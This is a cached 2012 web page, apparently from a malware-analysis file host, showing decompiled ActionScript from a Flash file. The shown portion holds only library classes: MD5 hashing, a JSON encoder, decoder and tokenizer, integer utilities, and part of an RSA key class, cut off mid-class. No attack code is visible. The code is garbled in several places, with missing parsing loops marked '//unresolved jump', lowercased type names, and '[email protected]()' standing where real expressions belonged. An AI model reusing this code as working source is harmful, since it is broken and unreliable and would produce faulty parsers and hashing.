http://webcache.googleusercontent.com/search?q=cache%3Apjjoint.malekal.com%2Fframes%2F20121120_p15v10v7f910&oq=cache%3Apjjoint.malekal.com%2Fframes%2F20121120_p15v10v7f910&aqs=chrome.0.57j58.1756&sugexp=chrome,mod=1&sourceid=chrome&ie=UTF-8 :

This is Google's cache of http://pjjoint.malekal.com/frames/20121120_p15v10v7f910. It is a snapshot of the page as it appeared on Nov 20, 2012 17:29:56 GMT. The current page could have changed in the meantime. Learn more
Tip: To quickly find your search term on this page, press Ctrl+F or ⌘-F (Mac) and use the find bar.

Text-only version

package com.adobe.crypto {

    import flash.utils.*;

    import com.adobe.utils.*;



    public class MD5 {



        public static var digest:ByteArray;



        private static function ff(_arg1:int, _arg2:int, _arg3:int, _arg4:int, _arg5:int, _arg6:int, _arg7:int):int{

            return (transform(f, _arg1, _arg2, _arg3, _arg4, _arg5, _arg6, _arg7));

        }

        private static function f(_arg1:int, _arg2:int, _arg3:int):int{

            return (((_arg1 & _arg2) | (~(_arg1) & _arg3)));

        }

        private static function g(_arg1:int, _arg2:int, _arg3:int):int{

            return (((_arg1 & _arg3) | (_arg2 & ~(_arg3))));

        }

        private static function h(_arg1:int, _arg2:int, _arg3:int):int{

            return (((_arg1 ^ _arg2) ^ _arg3));

        }

        private static function i(_arg1:int, _arg2:int, _arg3:int):int{

            return ((_arg2 ^ (_arg1 | ~(_arg3))));

        }

        private static function transform(_arg1:function, _arg2:int, _arg3:int, _arg4:int, _arg5:int, _arg6:int, _arg7:int, _arg8:int):int{

            var _local9:int = (((_arg2 + int(_arg1(_arg3, _arg4, _arg5))) + _arg6) + _arg8);

            return ((IntUtil.rol(_local9, _arg7) + _arg3));

        }

        private static function hh(_arg1:int, _arg2:int, _arg3:int, _arg4:int, _arg5:int, _arg6:int, _arg7:int):int{

            return (transform(h, _arg1, _arg2, _arg3, _arg4, _arg5, _arg6, _arg7));

        }

        public static function hash(_arg1:string):string{

            var _local2:ByteArray = new ByteArray();

            _local2.writeUTFBytes(_arg1);

            return (hashBinary(_local2));

        }

        private static function createBlocks(_arg1:ByteArray):array{

            var _local2:array = new array();

            var _local3:int = (_arg1.length * 8);

            var _local4 = 0xFF;

            var _local5:int;

            while (_local5 < _local3) {

                _local2[int((_local5 >> 5))] = (_local2[int((_local5 >> 5))] | ((_arg1[(_local5 / 8)] & _local4) << (_local5 % 32)));

                _local5 = (_local5 + 8);

            };

            _local2[int((_local3 >> 5))] = (_local2[int((_local3 >> 5))] | (128 << (_local3 % 32)));

            _local2[int(((((_local3 + 64) >>> 9) << 4) + 14))] = _local3;

            return (_local2);

        }

        public static function hashBinary(_arg1:ByteArray):string{

            var _local6:int;

            var _local7:int;

            var _local8:int;

            var _local9:int;

            var _local2 = 1732584193;

            var _local3 = -271733879;

            var _local4 = -1732584194;

            var _local5 = 271733878;

            var _local10:array = createBlocks(_arg1);

            var _local11:int = _local10.length;

            var _local12:int;

            while (_local12 < _local11) {

                _local6 = _local2;

                _local7 = _local3;

                _local8 = _local4;

                _local9 = _local5;

                _local2 = ff(_local2, _local3, _local4, _local5, _local10[int((_local12 + 0))], 7, -680876936);

                _local5 = ff(_local5, _local2, _local3, _local4, _local10[int((_local12 + 1))], 12, -389564586);

                _local4 = ff(_local4, _local5, _local2, _local3, _local10[int((_local12 + 2))], 17, 606105819);

                _local3 = ff(_local3, _local4, _local5, _local2, _local10[int((_local12 + 3))], 22, -1044525330);

                _local2 = ff(_local2, _local3, _local4, _local5, _local10[int((_local12 + 4))], 7, -176418897);

                _local5 = ff(_local5, _local2, _local3, _local4, _local10[int((_local12 + 5))], 12, 1200080426);

                _local4 = ff(_local4, _local5, _local2, _local3, _local10[int((_local12 + 6))], 17, -1473231341);

                _local3 = ff(_local3, _local4, _local5, _local2, _local10[int((_local12 + 7))], 22, -45705983);

                _local2 = ff(_local2, _local3, _local4, _local5, _local10[int((_local12 + 8))], 7, 1770035416);

                _local5 = ff(_local5, _local2, _local3, _local4, _local10[int((_local12 + 9))], 12, -1958414417);

                _local4 = ff(_local4, _local5, _local2, _local3, _local10[int((_local12 + 10))], 17, -42063);

                _local3 = ff(_local3, _local4, _local5, _local2, _local10[int((_local12 + 11))], 22, -1990404162);

                _local2 = ff(_local2, _local3, _local4, _local5, _local10[int((_local12 + 12))], 7, 1804603682);

                _local5 = ff(_local5, _local2, _local3, _local4, _local10[int((_local12 + 13))], 12, -40341101);

                _local4 = ff(_local4, _local5, _local2, _local3, _local10[int((_local12 + 14))], 17, -1502002290);

                _local3 = ff(_local3, _local4, _local5, _local2, _local10[int((_local12 + 15))], 22, 1236535329);

                _local2 = gg(_local2, _local3, _local4, _local5, _local10[int((_local12 + 1))], 5, -165796510);

                _local5 = gg(_local5, _local2, _local3, _local4, _local10[int((_local12 + 6))], 9, -1069501632);

                _local4 = gg(_local4, _local5, _local2, _local3, _local10[int((_local12 + 11))], 14, 643717713);

                _local3 = gg(_local3, _local4, _local5, _local2, _local10[int((_local12 + 0))], 20, -373897302);

                _local2 = gg(_local2, _local3, _local4, _local5, _local10[int((_local12 + 5))], 5, -701558691);

                _local5 = gg(_local5, _local2, _local3, _local4, _local10[int((_local12 + 10))], 9, 38016083);

                _local4 = gg(_local4, _local5, _local2, _local3, _local10[int((_local12 + 15))], 14, -660478335);

                _local3 = gg(_local3, _local4, _local5, _local2, _local10[int((_local12 + 4))], 20, -405537848);

                _local2 = gg(_local2, _local3, _local4, _local5, _local10[int((_local12 + 9))], 5, 568446438);

                _local5 = gg(_local5, _local2, _local3, _local4, _local10[int((_local12 + 14))], 9, -1019803690);

                _local4 = gg(_local4, _local5, _local2, _local3, _local10[int((_local12 + 3))], 14, -187363961);

                _local3 = gg(_local3, _local4, _local5, _local2, _local10[int((_local12 + 8))], 20, 1163531501);

                _local2 = gg(_local2, _local3, _local4, _local5, _local10[int((_local12 + 13))], 5, -1444681467);

                _local5 = gg(_local5, _local2, _local3, _local4, _local10[int((_local12 + 2))], 9, -51403784);

                _local4 = gg(_local4, _local5, _local2, _local3, _local10[int((_local12 + 7))], 14, 1735328473);

                _local3 = gg(_local3, _local4, _local5, _local2, _local10[int((_local12 + 12))], 20, -1926607734);

                _local2 = hh(_local2, _local3, _local4, _local5, _local10[int((_local12 + 5))], 4, -378558);

                _local5 = hh(_local5, _local2, _local3, _local4, _local10[int((_local12 + 8))], 11, -2022574463);

                _local4 = hh(_local4, _local5, _local2, _local3, _local10[int((_local12 + 11))], 16, 1839030562);

                _local3 = hh(_local3, _local4, _local5, _local2, _local10[int((_local12 + 14))], 23, -35309556);

                _local2 = hh(_local2, _local3, _local4, _local5, _local10[int((_local12 + 1))], 4, -1530992060);

                _local5 = hh(_local5, _local2, _local3, _local4, _local10[int((_local12 + 4))], 11, 1272893353);

                _local4 = hh(_local4, _local5, _local2, _local3, _local10[int((_local12 + 7))], 16, -155497632);

                _local3 = hh(_local3, _local4, _local5, _local2, _local10[int((_local12 + 10))], 23, -1094730640);

                _local2 = hh(_local2, _local3, _local4, _local5, _local10[int((_local12 + 13))], 4, 681279174);

                _local5 = hh(_local5, _local2, _local3, _local4, _local10[int((_local12 + 0))], 11, -358537222);

                _local4 = hh(_local4, _local5, _local2, _local3, _local10[int((_local12 + 3))], 16, -722521979);

                _local3 = hh(_local3, _local4, _local5, _local2, _local10[int((_local12 + 6))], 23, 76029189);

                _local2 = hh(_local2, _local3, _local4, _local5, _local10[int((_local12 + 9))], 4, -640364487);

                _local5 = hh(_local5, _local2, _local3, _local4, _local10[int((_local12 + 12))], 11, -421815835);

                _local4 = hh(_local4, _local5, _local2, _local3, _local10[int((_local12 + 15))], 16, 530742520);

                _local3 = hh(_local3, _local4, _local5, _local2, _local10[int((_local12 + 2))], 23, -995338651);

                _local2 = ii(_local2, _local3, _local4, _local5, _local10[int((_local12 + 0))], 6, -198630844);

                _local5 = ii(_local5, _local2, _local3, _local4, _local10[int((_local12 + 7))], 10, 1126891415);

                _local4 = ii(_local4, _local5, _local2, _local3, _local10[int((_local12 + 14))], 15, -1416354905);

                _local3 = ii(_local3, _local4, _local5, _local2, _local10[int((_local12 + 5))], 21, -57434055);

                _local2 = ii(_local2, _local3, _local4, _local5, _local10[int((_local12 + 12))], 6, 1700485571);

                _local5 = ii(_local5, _local2, _local3, _local4, _local10[int((_local12 + 3))], 10, -1894986606);

                _local4 = ii(_local4, _local5, _local2, _local3, _local10[int((_local12 + 10))], 15, -1051523);

                _local3 = ii(_local3, _local4, _local5, _local2, _local10[int((_local12 + 1))], 21, -2054922799);

                _local2 = ii(_local2, _local3, _local4, _local5, _local10[int((_local12 + 8))], 6, 1873313359);

                _local5 = ii(_local5, _local2, _local3, _local4, _local10[int((_local12 + 15))], 10, -30611744);

                _local4 = ii(_local4, _local5, _local2, _local3, _local10[int((_local12 + 6))], 15, -1560198380);

                _local3 = ii(_local3, _local4, _local5, _local2, _local10[int((_local12 + 13))], 21, 1309151649);

                _local2 = ii(_local2, _local3, _local4, _local5, _local10[int((_local12 + 4))], 6, -145523070);

                _local5 = ii(_local5, _local2, _local3, _local4, _local10[int((_local12 + 11))], 10, -1120210379);

                _local4 = ii(_local4, _local5, _local2, _local3, _local10[int((_local12 + 2))], 15, 718787259);

                _local3 = ii(_local3, _local4, _local5, _local2, _local10[int((_local12 + 9))], 21, -343485551);

                _local2 = (_local2 + _local6);

                _local3 = (_local3 + _local7);

                _local4 = (_local4 + _local8);

                _local5 = (_local5 + _local9);

                _local12 = (_local12 + 16);

            };

            digest = new ByteArray();

            digest.writeInt(_local2);

            digest.writeInt(_local3);

            digest.writeInt(_local4);

            digest.writeInt(_local5);

            digest.position = 0;

            return ((((IntUtil.toHex(_local2) + IntUtil.toHex(_local3)) + IntUtil.toHex(_local4)) + IntUtil.toHex(_local5)));

        }

        private static function gg(_arg1:int, _arg2:int, _arg3:int, _arg4:int, _arg5:int, _arg6:int, _arg7:int):int{

            return (transform(g, _arg1, _arg2, _arg3, _arg4, _arg5, _arg6, _arg7));

        }

        private static function ii(_arg1:int, _arg2:int, _arg3:int, _arg4:int, _arg5:int, _arg6:int, _arg7:int):int{

            return (transform(i, _arg1, _arg2, _arg3, _arg4, _arg5, _arg6, _arg7));

        }

        public static function hashBytes(_arg1:ByteArray):string{

            return (hashBinary(_arg1));

        }



    }

}//package com.adobe.crypto

&#65279;package com.adobe.serialization.json {



    public class JSONToken {



        private var _value:object;

        private var _type:int;



        public function JSONToken(_arg1:int=-1, _arg2:object=null){

            _type = _arg1;

            _value = _arg2;

        }

        public function get value():object{

            return (_value);

        }

        public function get type():int{

            return (_type);

        }

        public function set type(_arg1:int):void{

            _type = _arg1;

        }

        public function set value(_arg1:object):void{

            _value = _arg1;

        }



    }

}//package com.adobe.serialization.json

&#65279;package com.adobe.serialization.json {

    import flash.utils.*;



    public class JSONEncoder {



        private var jsonString:string;



        public function JSONEncoder(_arg1){

            jsonString = convertToString(_arg1);

        }

        private function escapeString(_arg1:string):string{

            var _local3:string;

            var _local6:string;

            var _local7:string;

            var _local2 = "";

            var _local4:number = _arg1.length;

            var _local5:int;

            while (_local5 < _local4) {

                _local3 = _arg1.charat(_local5);

                switch (_local3){

                    case "\"":

                        _local2 = (_local2 + "\\\"");

                        break;

                    case "\\":

                        _local2 = (_local2 + "\\\\");

                        break;

                    case "\b":

                        _local2 = (_local2 + "\\b");

                        break;

                    case "\f":

                        _local2 = (_local2 + "\\f");

                        break;

                    case "\n":

                        _local2 = (_local2 + "\\n");

                        break;

                    case "\r":

                        _local2 = (_local2 + "\\r");

                        break;

                    case "\t":

                        _local2 = (_local2 + "\\t");

                        break;

                    default:

                        if (_local3 < " "){

                            _local6 = _local3.charcodeat(0).tostring(16);

                            _local7 = (((_local6.length == 2)) ? "00" : "000");

                            _local2 = (_local2 + (("\\u" + _local7) + _local6));

                        } else {

                            _local2 = (_local2 + _local3);

                        };

                };

                _local5++;

            };

            return ((("\"" + _local2) + "\""));

        }

        private function arrayToString(_arg1:array):string{

            var _local2 = "";

            var _local3:int;

            while (_local3 < _arg1.length) {

                if (_local2.length > 0){

                    _local2 = (_local2 + ",");

                };

                _local2 = (_local2 + convertToString(_arg1[_local3]));

                _local3++;

            };

            return ((("[" + _local2) + "]"));

        }

        public function getString():string{

            return (jsonString);

        }

        private function objectToString(_arg1:object):string{

            var value:* = null;

            var key:* = null;

            var v:* = null;

            var o:* = _arg1;

            var s:* = "";

            var classInfo:* = describeType(o);

            if ([email protected]() == "Object"){

                for (key in o) {

                    value = o[key];

                    if ((value is function)){

                    } else {

                        if (s.length > 0){

                            s = (s + ",");

                        };

                        s = (s + ((escapeString(key) + ":") + convertToString(value)));

                    };

                };

            } else {

                for each (v in classInfo..*.(((name() == "variable")) || ((name() == "accessor")))) {

                    if (s.length > 0){

                        s = (s + ",");

                    };

                    s = (s + ((escapeString([email protected]()) + ":") + convertToString(o[v.@name])));

                };

            };

            return ((("{" + s) + "}"));

        }

        private function convertToString(_arg1):string{

            if ((_arg1 is string)){

                return (escapeString((_arg1 as string)));

            };

            if ((_arg1 is number)){

                return (((isfinite((_arg1 as number))) ? _arg1.tostring() : "null"));

            };

            if ((_arg1 is boolean)){

                return (((_arg1) ? "true" : "false"));

            };

            if ((_arg1 is array)){

                return (arrayToString((_arg1 as array)));

            };

            if ((((_arg1 is object)) && (!((_arg1 == null))))){

                return (objectToString(_arg1));

            };

            return ("null");

        }



    }

}//package com.adobe.serialization.json

&#65279;package com.adobe.serialization.json {



    public class JSONParseError extends error {



        private var _location:int;

        private var _text:string;



        public function JSONParseError(_arg1:string="", _arg2:int=0, _arg3:string=""){

            super(_arg1);

            name = "JSONParseError";

            _location = _arg2;

            _text = _arg3;

        }

        public function get location():int{

            return (_location);

        }

        public function get text():string{

            return (_text);

        }



    }

}//package com.adobe.serialization.json

&#65279;package com.adobe.serialization.json {



    public class JSONTokenizer {



        private var loc:int;

        private var ch:string;

        private var obj:object;

        private var jsonString:string;



        public function JSONTokenizer(_arg1:string){

            jsonString = _arg1;

            loc = 0;

            nextChar();

        }

        private function skipComments():void{

            if (ch == "/"){

                nextChar();

                switch (ch){

                    case "/":

                        do  {

                            nextChar();

                        } while (((!((ch == "\n"))) && (!((ch == "")))));

                        nextChar();

                        break;

                    case "*":

                        nextChar();

                        while (true) {

                            if (ch == "*"){

                                nextChar();

                                if (ch == "/"){

                                    nextChar();

                                    break;

                                };

                            } else {

                                nextChar();

                            };

                            if (ch == ""){

                                parseError("Multi-line comment not closed");

                            };

                        };

                        break;

                    default:

                        parseError((("Unexpected " + ch) + " encountered (expecting '/' or '*' )"));

                };

            };

        }

        private function isDigit(_arg1:string):boolean{

            return ((((_arg1 >= "0")) && ((_arg1 <= "9"))));

        }

        private function readString():JSONToken{

            var _local3:string;

            var _local4:int;

            var _local1:JSONToken = new JSONToken();

            _local1.type = JSONTokenType.string;

            var _local2 = "";

            nextChar();

            while (((!((ch == "\""))) && (!((ch == ""))))) {

                if (ch == "\\"){

                    nextChar();

                    switch (ch){

                        case "\"":

                            _local2 = (_local2 + "\"");

                            break;

                        case "/":

                            _local2 = (_local2 + "/");

                            break;

                        case "\\":

                            _local2 = (_local2 + "\\");

                            break;

                        case "b":

                            _local2 = (_local2 + "\b");

                            break;

                        case "f":

                            _local2 = (_local2 + "\f");

                            break;

                        case "n":

                            _local2 = (_local2 + "\n");

                            break;

                        case "r":

                            _local2 = (_local2 + "\r");

                            break;

                        case "t":

                            _local2 = (_local2 + "\t");

                            break;

                        case "u":

                            _local3 = "";

                            _local4 = 0;

                            while (_local4 < 4) {

                                if (!isHexDigit(nextChar())){

                                    parseError((" Excepted a hex digit, but found: " + ch));

                                };

                                _local3 = (_local3 + ch);

                                _local4++;

                            };

                            _local2 = (_local2 + string.fromcharcode(parseint(_local3, 16)));

                            break;

                        default:

                            _local2 = (_local2 + ("\\" + ch));

                    };

                } else {

                    _local2 = (_local2 + ch);

                };

                nextChar();

            };

            if (ch == ""){

                parseError("Unterminated string literal");

            };

            nextChar();

            _local1.value = _local2;

            return (_local1);

        }

        private function nextChar():string{

            return ((ch = jsonString.charat(loc++)));

        }

        public function getNextToken():JSONToken{

            var _local2:string;

            var _local3:string;

            var _local4:string;

            var _local1:JSONToken = new JSONToken();

            skipIgnored();

            switch (ch){

                case "{":

                    _local1.type = JSONTokenType.LEFT_BRACE;

                    _local1.value = "{";

                    nextChar();

                    break;

                case "}":

                    _local1.type = JSONTokenType.RIGHT_BRACE;

                    _local1.value = "}";

                    nextChar();

                    break;

                case "[":

                    _local1.type = JSONTokenType.LEFT_BRACKET;

                    _local1.value = "[";

                    nextChar();

                    break;

                case "]":

                    _local1.type = JSONTokenType.RIGHT_BRACKET;

                    _local1.value = "]";

                    nextChar();

                    break;

                case ",":

                    _local1.type = JSONTokenType.COMMA;

                    _local1.value = ",";

                    nextChar();

                    break;

                case ":":

                    _local1.type = JSONTokenType.COLON;

                    _local1.value = ":";

                    nextChar();

                    break;

                case "t":

                    _local2 = ((("t" + nextChar()) + nextChar()) + nextChar());

                    if (_local2 == "true"){

                        _local1.type = JSONTokenType.true;

                        _local1.value = true;

                        nextChar();

                    } else {

                        parseError(("Expecting 'true' but found " + _local2));

                    };

                    break;

                case "f":

                    _local3 = (((("f" + nextChar()) + nextChar()) + nextChar()) + nextChar());

                    if (_local3 == "false"){

                        _local1.type = JSONTokenType.false;

                        _local1.value = false;

                        nextChar();

                    } else {

                        parseError(("Expecting 'false' but found " + _local3));

                    };

                    break;

                case "n":

                    _local4 = ((("n" + nextChar()) + nextChar()) + nextChar());

                    if (_local4 == "null"){

                        _local1.type = JSONTokenType.null;

                        _local1.value = null;

                        nextChar();

                    } else {

                        parseError(("Expecting 'null' but found " + _local4));

                    };

                    break;

                case "\"":

                    _local1 = readString();

                    break;

                default:

                    if (((isDigit(ch)) || ((ch == "-")))){

                        _local1 = readNumber();

                    } else {

                        if (ch == ""){

                            return (null);

                        };

                        parseError((("Unexpected " + ch) + " encountered"));

                    };

            };

            return (_local1);

        }

        private function skipWhite():void{

            while (isWhiteSpace(ch)) {

                nextChar();

            };

        }

        public function parseError(_arg1:string):void{

            throw (new JSONParseError(_arg1, loc, jsonString));

        }

        private function isWhiteSpace(_arg1:string):boolean{

            return ((((((((_arg1 == " ")) || ((_arg1 == "\t")))) || ((_arg1 == "\n")))) || ((_arg1 == "\r"))));

        }

        private function skipIgnored():void{

            var _local1:int;

            do  {

                _local1 = loc;

                skipWhite();

                skipComments();

            } while (_local1 != loc);

        }

        private function isHexDigit(_arg1:string):boolean{

            var _local2:string = _arg1.touppercase();

            return (((isDigit(_arg1)) || ((((_local2 >= "A")) && ((_local2 <= "F"))))));

        }

        private function readNumber():JSONToken{

            var _local1:JSONToken = new JSONToken();

            _local1.type = JSONTokenType.number;

            var _local2 = "";

            if (ch == "-"){

                _local2 = (_local2 + "-");

                nextChar();

            };

            if (!isDigit(ch)){

                parseError("Expecting a digit");

            };

            if (ch == "0"){

                _local2 = (_local2 + ch);

                nextChar();

                if (isDigit(ch)){

                    parseError("A digit cannot immediately follow 0");

                };

            } else {

                while (isDigit(ch)) {

                    _local2 = (_local2 + ch);

                    nextChar();

                };

            };

            if (ch == "."){

                _local2 = (_local2 + ".");

                nextChar();

                if (!isDigit(ch)){

                    parseError("Expecting a digit");

                };

                while (isDigit(ch)) {

                    _local2 = (_local2 + ch);

                    nextChar();

                };

            };

            if ((((ch == "e")) || ((ch == "E")))){

                _local2 = (_local2 + "e");

                nextChar();

                if ((((ch == "+")) || ((ch == "-")))){

                    _local2 = (_local2 + ch);

                    nextChar();

                };

                if (!isDigit(ch)){

                    parseError("Scientific notation number needs exponent value");

                };

                while (isDigit(ch)) {

                    _local2 = (_local2 + ch);

                    nextChar();

                };

            };

            var _local3:number = number(_local2);

            if (((isfinite(_local3)) && (!(isnan(_local3))))){

                _local1.value = _local3;

                return (_local1);

            };

            parseError((("Number " + _local3) + " is not valid!"));

            return (null);

        }



    }

}//package com.adobe.serialization.json

&#65279;package com.adobe.serialization.json {



    public class JSONTokenType {



        public static const number:int = 11;

        public static const false:int = 8;

        public static const RIGHT_BRACKET:int = 4;

        public static const null:int = 9;

        public static const true:int = 7;

        public static const RIGHT_BRACE:int = 2;

        public static const UNKNOWN:int = -1;

        public static const COMMA:int = 0;

        public static const LEFT_BRACKET:int = 3;

        public static const string:int = 10;

        public static const LEFT_BRACE:int = 1;

        public static const COLON:int = 6;



    }

}//package com.adobe.serialization.json

&#65279;package com.adobe.serialization.json {



    public class JSONDecoder {



        private var value;

        private var tokenizer:JSONTokenizer;

        private var token:JSONToken;



        public function JSONDecoder(_arg1:string){

            tokenizer = new JSONTokenizer(_arg1);

            nextToken();

            value = parseValue();

        }

        private function parseObject():object{

            var _local2:string;

            var _local1:object = new object();

            nextToken();

            if (token.type == JSONTokenType.RIGHT_BRACE){

                return (_local1);

            };

            if (token.type == JSONTokenType.string){

                _local2 = string(token.value);

                nextToken();

                if (token.type == JSONTokenType.COLON){

                    nextToken();

                    _local1[_local2] = parseValue();

                    nextToken();

                    if (token.type == JSONTokenType.RIGHT_BRACE){

                        return (_local1);

                    };

                    if (token.type == JSONTokenType.COMMA){

                        nextToken();

                    } else {

                        tokenizer.parseError(("Expecting } or , but found " + token.value));

                    };

                } else {

                    tokenizer.parseError(("Expecting : but found " + token.value));

                };

            } else {

                tokenizer.parseError(("Expecting string but found " + token.value));

            };

            //unresolved jump

        }

        private function parseValue():object{

            if (token == null){

                tokenizer.parseError("Unexpected end of input");

            };

            switch (token.type){

                case JSONTokenType.LEFT_BRACE:

                    return (parseObject());

                case JSONTokenType.LEFT_BRACKET:

                    return (parseArray());

                case JSONTokenType.string:

                case JSONTokenType.number:

                case JSONTokenType.true:

                case JSONTokenType.false:

                case JSONTokenType.null:

                    return (token.value);

                default:

                    tokenizer.parseError(("Unexpected " + token.value));

            };

            return (null);

        }

        private function nextToken():JSONToken{

            return ((token = tokenizer.getNextToken()));

        }

        public function getValue(){

            return (value);

        }

        private function parseArray():array{

            var _local1:array = new array();

            nextToken();

            if (token.type == JSONTokenType.RIGHT_BRACKET){

                return (_local1);

            };

            _local1.push(parseValue());

            nextToken();

            if (token.type == JSONTokenType.RIGHT_BRACKET){

                return (_local1);

            };

            if (token.type == JSONTokenType.COMMA){

                nextToken();

            } else {

                tokenizer.parseError(("Expecting ] or , but found " + token.value));

            };

            //unresolved jump

        }



    }

}//package com.adobe.serialization.json

&#65279;package com.adobe.serialization.json {



    public class JSON {



        public static function decode(_arg1:string){

            var _local2:JSONDecoder = new JSONDecoder(_arg1);

            return (_local2.getValue());

        }

        public static function encode(_arg1:object):string{

            var _local2:JSONEncoder = new JSONEncoder(_arg1);

            return (_local2.getString());

        }



    }

}//package com.adobe.serialization.json

&#65279;package com.adobe.utils {



    public class IntUtil {



        private static var hexChars:string = "0123456789abcdef";



        public static function toHex(_arg1:int, _arg2:boolean=false):string{

            var _local4:int;

            var _local5:int;

            var _local3 = "";

            if (_arg2){

                _local4 = 0;

                while (_local4 < 4) {

                    _local3 = (_local3 + (hexChars.charat(((_arg1 >> (((3 - _local4) * 8) + 4)) & 15)) + hexChars.charat(((_arg1 >> ((3 - _local4) * 8)) & 15))));

                    _local4++;

                };

            } else {

                _local5 = 0;

                while (_local5 < 4) {

                    _local3 = (_local3 + (hexChars.charat(((_arg1 >> ((_local5 * 8) + 4)) & 15)) + hexChars.charat(((_arg1 >> (_local5 * 8)) & 15))));

                    _local5++;

                };

            };

            return (_local3);

        }

        public static function ror(_arg1:int, _arg2:int):uint{

            var _local3:int = (32 - _arg2);

            return (((_arg1 << _local3) | (_arg1 >>> (32 - _local3))));

        }

        public static function rol(_arg1:int, _arg2:int):int{

            return (((_arg1 << _arg2) | (_arg1 >>> (32 - _arg2))));

        }



    }

}//package com.adobe.utils

&#65279;package com.hurlant.crypto.rsa {

    import flash.utils.*;

    import com.hurlant.math.*;

    import com.hurlant.crypto.prng.*;

    import com.hurlant.util.*;



    public class RSAKey {



        public var dmp1:BigInteger;

        protected var canDecrypt:boolean;

        public var d:BigInteger;

        public var e:int;

        public var dmq1:BigInteger;

        public var n:BigInteger;

        public var p:BigInteger;

        public var q:BigInteger;

        protected var canEncrypt:boolean;

        public var coeff:BigInteger;



        public function RSAKey(_arg1:BigInteger, _arg2:int, _arg3:BigInteger=null, _arg4:BigInteger=null, _arg5:BigInteger=null, _arg6:BigInteger=null, _arg7:BigInteger=null, _arg8:BigInteger=null){

            this.n = _arg1;

            this.e = _arg2;

            this.d = _arg3;

            this.p = _arg4;

            this.q = _arg5;

            this.dmp1 = _arg6;

            this.dmq1 = _arg7;

            this.coeff = _arg8;

            canEncrypt = ((!((n == null))) && (!((e == 0))));

            canDecrypt = ((canEncrypt) && (!((d == null))));

        }

        protected static function bigRandom(_arg1:int, _arg2:random):BigInteger{

            var _local3:ByteArray;

            var _local4:BigInteger;

            if (_arg1 < 2){

                return (BigInteger.nbv(1));

            };

            _local3 = new ByteArray();

            _arg2.nextBytes(_local3, (_arg1 >> 3));

            _local3.position = 0;

            _local4 = new BigInteger(_local3);

            _local4.primify(_arg1, 1);

            return (_local4);

        }

        public static function parsePublicKey(_arg1:string, _arg2:string):RSAKey{

            return (new RSAKey(new BigInteger(_arg1, 16), parseint(_arg2, 16)));

        }

        public static function generate(_arg1:uint, _arg2:string):RSAKey{

            var _local3:random;

            var _local4:uint;

            var _local5:RSAKey;

            var _local6:BigInteger;

            var _local7:BigInteger;

            var _local8:BigInteger;

            var _local9:BigInteger;

            var _local10:BigInteger;

            _local3 = new random();

            _local4 = (_arg1 >> 1);

            _local5 = new RSAKey(null, 0, null);

            _local5.e = parseint(_arg2, 16);

            _local6 = new BigInteger(_arg2, 16);

            while (true) {

                while (true) {

                    _local5.p = bigRandom((_arg1 - _local4), _local3);

                    if ((((_local5.p.subtract(BigInteger.ONE).gcd(_local6).compareTo(BigInteger.ONE) == 0)) && (_local5.p.isProbablePrime(10)))){

                        break;

                    };

                };

                while (true) {

                    _local5.q = bigRandom(_local4, _local3);

                    if ((((_local5.q.subtract(BigInteger.ONE).gcd(_local6).compareTo(BigInteger.ONE) == 0)) && (_local5.q.isProbablePrime(10)))){

                        break;

                    };

                };

                if (_local5.p.compareTo(_local5.q) <= 0){

                    _local10 = _local5.p;

                    _local5.p = _local5.q;

                    _local5.q = _local10;

                };

                _local7 = _local5.p.subtract(BigInteger.ONE);

                _local8 = _local5.q.subtract(BigInteger.ONE);

                _local9 = _local7.multiply(_local8);

                if (_local9.gcd(_local6).compareTo(BigInteger.ONE) == 0){

                    _local5.n = _local5.p.multiply(_local5.q);

                    _local5.d = _local6.modInverse(_local9);

                    _local5.dmp1 = _local5.d.mod(_local7);

                    _local5.dmq1 = _local5.d.mod(_local8);

                    _local5.coeff = _local5.q.modInverse(_local5.p);

                    break;

                };

            };

            return (_local5);

        }

        public static function parsePrivateKey(_arg1:string, _arg2:string, _arg3:string, _arg4:string=null, _arg5:string=null, _arg6:string=null, _arg7:string=null, _arg8:string=null):RSAKey{

            if (_arg4 == null){

                return (new RSAKey(new BigInteger(_arg1, 16), parseint(_arg2, 16), new BigInteger(_arg3, 16)));

            };

            return (new RSAKey(new BigInteger(_arg1, 16), parseint(_arg2, 16), new BigInteger(_arg3, 16), new BigInteger(_arg4, 16), new BigInteger(_arg5, 16), new BigInteger(_arg6, 16), new BigInteger(_arg7), new BigInteger(_arg8)));

        }



        public function verify(_arg1:ByteArray, _arg2:ByteArray, _arg3:uint, _arg4:function=null):void{

            _decrypt(doPublic, _arg1, _arg2, _arg3, _arg4, 1);

        }

        public function dump():string{

            var _local1:string;

            _local1 = ((((("N=" + n.tostring(16)) + "\n") + "E=") + e.tostring(16)) + "\n");

            if (canDecrypt){

                _local1 = (_local1 + (("D=" + d.tostring(16)) + "\n"));

                if (((!((p == null))) && (!((q == null))))){

                    _local1 = (_local1 + (("P=" + p.tostring(16)) + "\n"));

                    _local1 = (_local1 + (("Q=" + q.tostring(16)) + "\n"));

                    _local1 = (_local1 + (("DMP1=" + dmp1.tostring(16)) + "\n"));

                    _local1 = (_local1 + (("DMQ1=" + dmq1.tostring(16)) + "\n"));

                    _local1 = (_local1 + (("IQMP=" + coeff.tostring(16)) + "\n"));

                };

            };

            return (_local1);

        }

        protected function doPrivate2(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            var _local3:BigInteger;

            var _local4:BigInteger;

            if ((((p == null)) && ((q == null)))){

                return (_arg1.modPow(d, n));

            };

            _local2 = _arg1.mod(p).modPow(dmp1, p);

            _local3 = _arg1.mod(q).modPow(dmq1, q);

            while (_local2.compareTo(_local3) < 0) {

                _local2 = _local2.add(p);

            };

            _local4 = _local2.subtract(_local3).multiply(coeff).mod(p).multiply(q).add(_local3);

            return (_local4);

        }

        public function decrypt(_arg1:ByteArray, _arg2:ByteArray, _arg3:uint, _arg4:function=null):void{

            _decrypt(doPrivate2, _arg1, _arg2, _arg3, _arg4, 2);

        }

        private function _decrypt(_arg1:function, _arg2:ByteArray, _arg3:ByteArray, _arg4:uint, _arg5:function, _arg6:int):void{

            var _local7:uint;

            var _local8:int;

            var _local9:BigInteger;

            var _local10:BigInteger;

            var _local11:ByteArray;

            if (_arg5 == null){

                _arg5 = pkcs1unpad;

            };

            if (_arg2.position >= _arg2.length){

                _arg2.position = 0;

            };

            _local7 = getBlockSize();

            _local8 = (_arg2.position + _arg4);

            while (_arg2.position < _local8) {

                _local9 = new BigInteger(_arg2, _arg4);

                _local10 = _arg1(_local9);

                _local11 = _arg5(_local10, _local7);

                _arg3.writeBytes(_local11);

            };

        }

        protected function doPublic(_arg1:BigInteger):BigInteger{

            return (_arg1.modPowInt(e, n));

        }

        public function dispose():void{

